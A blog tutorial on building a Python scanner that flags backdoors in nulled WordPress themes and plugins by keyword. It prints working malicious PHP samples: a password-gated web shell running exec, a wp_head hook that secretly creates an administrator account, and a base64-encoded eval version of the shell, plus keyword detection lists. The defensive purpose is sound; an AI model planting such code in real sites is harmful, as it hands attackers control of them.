Wordpress nulled theme checker

We all love free stuff. So many people try to install premium themes and plugins on their WordPress blogs. Most of them use nulled themes or cracked versions of premium themes. The main disadvantage o these nulled themes is most of them are back-doored. If we want to scan a plugin or theme for back-doors we must open all of its files and check suspicious codes manually. Normally a WordPress theme contains hundreds of files in various directories. It's very hard to check all of them one by one. So I tried to write a simple Python script to automate this process. As the first step, I used the following code to get a list of all PHP files in the theme or plugin. Because many of the back-doors are hidden in these PHP files.
for root, dirs, files in os.walk("/opt/homebrew/var/www/wordpress/wp-content/themes/twentyseventeen"):
	for file in files:
		if file.endswith(".php"):
			file_path = os.path.join(root, file)
			print(file_path)
In the following image, you can see we could get a list of all PHP files in the theme. For demonstrating purpose I used "twentytwenty" theme which comes built-in with WordPress. Next, we need to find suspicious codes in these PHP files.

Reverse and Bind shells

This is the most common backdoor we can find in WordPress themes. This kind of back-doors allows an attacker to connect remotely to a server. So when you install the back-doored theme in your WordPress site attacker gain access to your site. He can completely control your website. There are two kinds of web shells. A reverse TCP shell opens a TCP connection from the victim server to the attacker's mashing. But a bind shell opens a port on the victim server and waits for an incoming connection from the attacker. In n following example, we can see a simple PHP shell.

if(isset($_GET["cmd"])&&isset($_GET["passwd"])&&strcmp($_GET["passwd"],"p455w07d")==0){echo exec($_GET["cmd"]);} 
As we know functions like exec, and the system is used for these web shells. So I added all of the keywords used to build a shell to a python list. Then we can scan PHP files for these function names. If we found one of them in a PHP file we can assume there is some suspicious code in that file.
shell_payloads = ['exec', 'system', 'pcntl_fork', 'proc_open', 'fsockopen']
Here exec and system functions are used to build a reverse TCP shell. pcntl_fork, proc_open, fsockopen are used to build bid shells.

User adding back-doors

Also, there is another type of back-doors. They use WordPress native functions to create a secret user. So an attacker can directly log in to our site and make changes. Here we can see how these functions work.
add_action( 'wp_head', 'create_backdoor' );

function create_backdoor() {
	require( 'wp-includes/registration.php' );
    if ( !username_exists( 'anonymous' ) ) {
        $user_id = wp_create_user( 'anonymous', 'p455w07d' );
        $user = new WP_User( $user_id );
        $user->set_role( 'administrator' ); 
    }
}
In the following list, I added those functions as payloads.
user_payloads = ['wp_create_user', 'WP_User', 'set_role']
So we can detect if the PHP file tries to make a new backdoor user.

Encoded back-doors

Most times malware authors try to hide their malicious codes. So they encode them.  In most back-doored themes we can see base64 encoded payloads. By using this point we can search for encoding functions of PHP. Because they are rarely used in normal WordPress themes and plugins.
encoding_payloads = ['eval', 'base64_decode']
Hear the base64_decode function I use used to encode payloads with the base64 algorithm. eval is another PHP function. It takes one string as the argument and executes it as a PHP command. So an attacker can use base64_decode to decode the encoded payload and use eval to execute it.  In the following code, we can see the base64 encoded version of above our web shell.
eval(base64_decode('aWYoaXNzZXQoJF9HRVRbImNtZCJdKSYmaXNzZXQoJF9HRVRbInBhc3N3ZCJdKSYmc3RyY21wKCRfR0VUWyJwYXNzd2QiXSwicDQ1NXcwN2QiKT09MCl7ZWNobyBleGVjKCRfR0VUWyJjbWQiXSk7fQ=='));
Now we know what methods an attacker uses to backdoor a theme or plugin. Let's complete our script to detect them. At the moment we have three python lists with payloads to detect suspicious words.
file = open(file_path, 'r')
        content = file.read()
        #print(content)
        for payload in payloads:
                #print(payload)
                if payload in content:
                        print('suspicious code found at ' + file_path)
I hope you can understand what it does. The script opens the file and reads its contents. Then it scans that content to detect if there are any of the above malicious words. If it detects one o them ill print the file path. So we can check that file manually and remove the backdoor. You may download the complete script here. You need to change the theme_path accordion to your theme. Just try it and tell me how it works I admire your opinions about this little tool. So leave a comment on what are the mistakes and how we can improve them. Thank you for reading.


AUTHOR

šŸ‘‹ Hi, Iā€™m Thilan from SriLanka
šŸ’žļø I love Computer Science & Engineering
šŸ§‘ā€šŸŽ“ An undergraduate at Faculty of Engineering, University of Ruhuna